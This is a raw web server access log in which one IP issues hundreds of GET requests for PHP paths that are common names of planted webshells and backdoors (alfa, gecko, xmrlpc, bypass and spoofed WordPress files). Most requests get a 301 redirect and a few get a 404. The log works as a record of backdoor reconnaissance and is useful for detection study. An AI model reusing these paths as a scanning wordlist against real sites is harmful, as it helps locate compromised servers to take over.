[27/Apr/2026:04:02:20 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:58 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:01 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:26 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:26 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:30 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:06 +0300] "GET /wp-content/plugins/xt HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:09 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:13 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:31 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:34 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:11:21 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:12:16 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:12:34 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:12:41 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:13:45 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:13:47 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:13:51 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:13:54 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:07 +0300] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:15:07 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:15:28 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:15:36 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:15:39 +0300] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:15:45 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:18:15 +0300] "GET /wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:18:19 +0300] "GET /load.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:18:56 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:19:04 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:19:27 +0300] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:19:55 +0300] "GET /aged.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:20:17 +0300] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:20:40 +0300] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:21:01 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:21:45 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:22:03 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:22:09 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:23:06 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:25:27 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:00:57 +0300] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:10 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:14 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:51 +0300] "GET /01.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:09 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:52 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:55 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:58 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:41 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:45 +0300] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:48 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:48 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:51 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:55 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:51 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:00 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:00 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:19 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:23 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:26 +0300] "GET /wp-admin/pages.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:54 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:15:53 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:15:57 +0300] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:17:17 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:21:57 +0300] "GET /123.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:22:19 +0300] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:22:26 +0300] "GET /site/wp-admin/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:23:19 +0300] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:28:34 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:29:43 +0300] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:30:35 +0300] "GET /help.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:32:22 +0300] "GET /.well-known/caches.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:33:01 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:33:28 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:33:28 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:34:49 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:38:22 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:38:24 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:38:27 +0300] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:00:43 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:41 +0300] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:42 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:46 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:50 +0300] "GET /php8.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:57 +0300] "GET /fix.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:04 +0300] "GET /tes.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:42 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:46 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:40 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:11:49 +0300] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:12:07 +0300] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:12:55 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:19 +0300] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:23 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:23 +0300] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:28 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:33 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:35 +0300] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:38 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:43 +0300] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:50 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:18:35 +0300] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:19:19 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:20:01 +0300] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:23:30 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:23:33 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:24:07 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:25:49 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:25:49 +0300] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:27:23 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:29:28 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:34:17 +0300] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:34:40 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:36:21 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:36:26 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:36:41 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 796 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:36:41 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:36:53 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:38:00 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:41:53 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:47 +0300] "GET /wp-content.php.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:37 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:41 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:45 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:48 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:55 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:10 +0300] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:14 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:46 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:57 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:57 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:09:01 +0300] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:13 +0300] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:16:13 +0300] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:18:00 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:18:05 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:20:27 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:21:34 +0300] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:21:52 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:26:34 +0300] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:27:51 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:29:03 +0300] "GET /st.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:30:14 +0300] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:31:14 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:33:56 +0300] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:34:24 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:41:07 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:41:07 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:41:42 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:23 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:27 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:31 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:34 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:53 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:56 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:01:59 +0300] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:02:01 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:15 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:03:19 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:10 +0300] "GET /headers.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:14 +0300] "GET /xpw.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:17 +0300] "GET /array.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:20 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:21 +0300] "GET /cah.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:08:20 +0300] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:17:25 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:17:48 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:19:39 +0300] "GET /login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:19:47 +0300] "GET /search/label/PHP-Shells HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:24:59 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:25:41 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:27:05 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:27:07 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:28:20 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:28:41 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 45.154.98.109 - - [27/Apr/2026:04:30:07 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.2210.91" 172.212.188.103 - - [27/Apr/2026:04:35:50 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:40:46 +0300] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:40:53 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:42:52 +0300] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:43:26 +0300] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 128.123.63.87 - - [27/Apr/2026:04:43:33 +0300] "GET /.well-known/agent-card.json HTTP/1.1" 301 795 "-" "Python/3.12 aiohttp/3.13.5" 172.212.188.103 - - [27/Apr/2026:04:44:00 +0300] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:41:56 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:42:29 +0300] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:42:42 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:39:55 +0300] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:41:16 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:41:25 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:42:17 +0300] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:42:23 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:43:03 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:44:13 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:00 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:04 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:04:08 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:28 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:32 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:35 +0300] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:38 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:38 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:42 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:45 +0300] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:48 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:50 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:54 +0300] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:05:58 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:00 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:11:57 +0300] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:12:25 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:12:47 +0300] "GET /wp-content/uploads/2025/03/themes.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:13:36 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:13:40 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:17:10 +0300] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:23:43 +0300] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:24:19 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:24:44 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:28:55 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:31:24 +0300] "GET /wp-includes/autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:34:57 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:35:19 +0300] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:37:01 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:39:40 +0300] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:40:07 +0300] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:40:27 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:40:58 +0300] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:23:52 +0300] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:24:32 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:25:15 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:28:07 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:28:26 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:29:14 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:29:58 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:31:52 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:32:44 +0300] "GET /wp-admin/classwithtostring.php 